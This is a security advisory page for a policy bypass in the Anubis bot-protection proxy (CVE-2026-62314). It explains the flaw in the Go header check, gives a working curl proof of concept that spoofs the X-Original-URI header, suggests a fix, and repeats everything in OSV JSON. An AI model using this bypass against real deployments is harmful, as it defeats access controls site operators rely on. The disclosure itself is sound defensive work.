GHSA-6WCG-MQVH-FCVG

Vulnerability from github – Published: 2026-10-02 18:22 – Updated: 2026-10-02 18:22
VLAI
Summary
Anubis: Policy bypass via client controlled X-Original-URI header
Details

Any HTTP client can bypass Anubis bot protection on the default configuration by adding a single request header. No challenge needs to be solved. Affected versions: v1.22.0 through v1.25.0 (introduced in commit d1d631a, PR #1015)

The root cause is in lib/policy/checker.go, PathChecker.Check():

func (pc *PathChecker) Check(r *http.Request) (bool, error) {
    originalUrl := r.Header.Get("X-Original-URI")
    if originalUrl != "" {
        if pc.regexp.MatchString(originalUrl) {
            return true, nil
        }
    }
    if pc.regexp.MatchString(r.URL.Path) {
        return true, nil
    }
    return false, nil
}

The header value comes directly from the client request. The middleware chain never strips it. In reverse proxy mode an attacker fully controls it. The default policy imports data/common/keep-internet-working.yaml, which contains path-only ALLOW rules with no other conditions:

- name: well-known
  path_regex: ^/\.well-known/.*$
  action: ALLOW

When X-Original-URI matches one of those regexes, the rule fires as ALLOW and the request is forwarded upstream without any challenge or JWT check.

Proof of concept

Normal request, gets challenged:

curl -s https://anubis.techaro.lol/ | grep -o "<title>.*</title>"

Bypass, gets upstream content:

curl -s -H "X-Original-URI: /.well-known/x" https://anubis.techaro.lol/ | grep -o "<title>.*</title>"

The first command returns the Anubis challenge page title. The second returns the real site title directly, with no cookie set and no challenge issued. Verified live against anubis.techaro.lol.

Suggested fix

The fix should probably be to strip the header from incoming client requests in the middleware chain before policy evaluation. In auth_request mode the header is set by the proxy after Anubis processes the middleware, so stripping it at ingress does not break that deployment mode.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/TecharoHQ/anubis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.22.0"
            },
            {
              "fixed": "1.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T18:22:08Z",
    "nvd_published_at": "2026-07-15T22:17:38Z",
    "severity": "MODERATE"
  },
  "details": "Any HTTP client can bypass Anubis bot protection on the default configuration by adding a single request header. No challenge needs to be solved.\nAffected versions: v1.22.0 through v1.25.0 (introduced in commit d1d631a, PR #1015)\n\nThe root cause is in `lib/policy/checker.go`, `PathChecker.Check()`:\n```go\nfunc (pc *PathChecker) Check(r *http.Request) (bool, error) {\n    originalUrl := r.Header.Get(\"X-Original-URI\")\n    if originalUrl != \"\" {\n        if pc.regexp.MatchString(originalUrl) {\n            return true, nil\n        }\n    }\n    if pc.regexp.MatchString(r.URL.Path) {\n        return true, nil\n    }\n    return false, nil\n}\n```\n\nThe header value comes directly from the client request. The middleware chain never strips it. In reverse proxy mode an attacker fully controls it.\nThe default policy imports `data/common/keep-internet-working.yaml`, which contains path-only ALLOW rules with no other conditions:\n\n```yaml\n- name: well-known\n  path_regex: ^/\\.well-known/.*$\n  action: ALLOW\n```\n\nWhen `X-Original-URI` matches one of those regexes, the rule fires as ALLOW and the request is forwarded upstream without any challenge or JWT check.\n\n\n# Proof of concept\n\nNormal request, gets challenged:\n```\ncurl -s https://anubis.techaro.lol/ | grep -o \"\u003ctitle\u003e.*\u003c/title\u003e\"\n```\n\nBypass, gets upstream content:\n```\ncurl -s -H \"X-Original-URI: /.well-known/x\" https://anubis.techaro.lol/ | grep -o \"\u003ctitle\u003e.*\u003c/title\u003e\"\n```\n\nThe first command returns the Anubis challenge page title. The second returns the real site title directly, with no cookie set and no challenge issued. Verified live against anubis.techaro.lol.\n\n# Suggested fix\nThe fix should probably be to strip the header from incoming client requests in the middleware chain before policy evaluation. In `auth_request` mode the header is set by the proxy after Anubis processes the middleware, so stripping it at ingress does not break that deployment mode.",
  "id": "GHSA-6wcg-mqvh-fcvg",
  "modified": "2026-10-02T18:22:08Z",
  "published": "2026-10-02T18:22:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TecharoHQ/anubis/security/advisories/GHSA-6wcg-mqvh-fcvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62314"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TecharoHQ/anubis/pull/1630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TecharoHQ/anubis/commit/276b537776b281b1c4e01421435bc03ade3d8fc4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TecharoHQ/anubis"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TecharoHQ/anubis/releases/tag/v1.26.0-pre1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Anubis: Policy bypass via client controlled X-Original-URI header"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.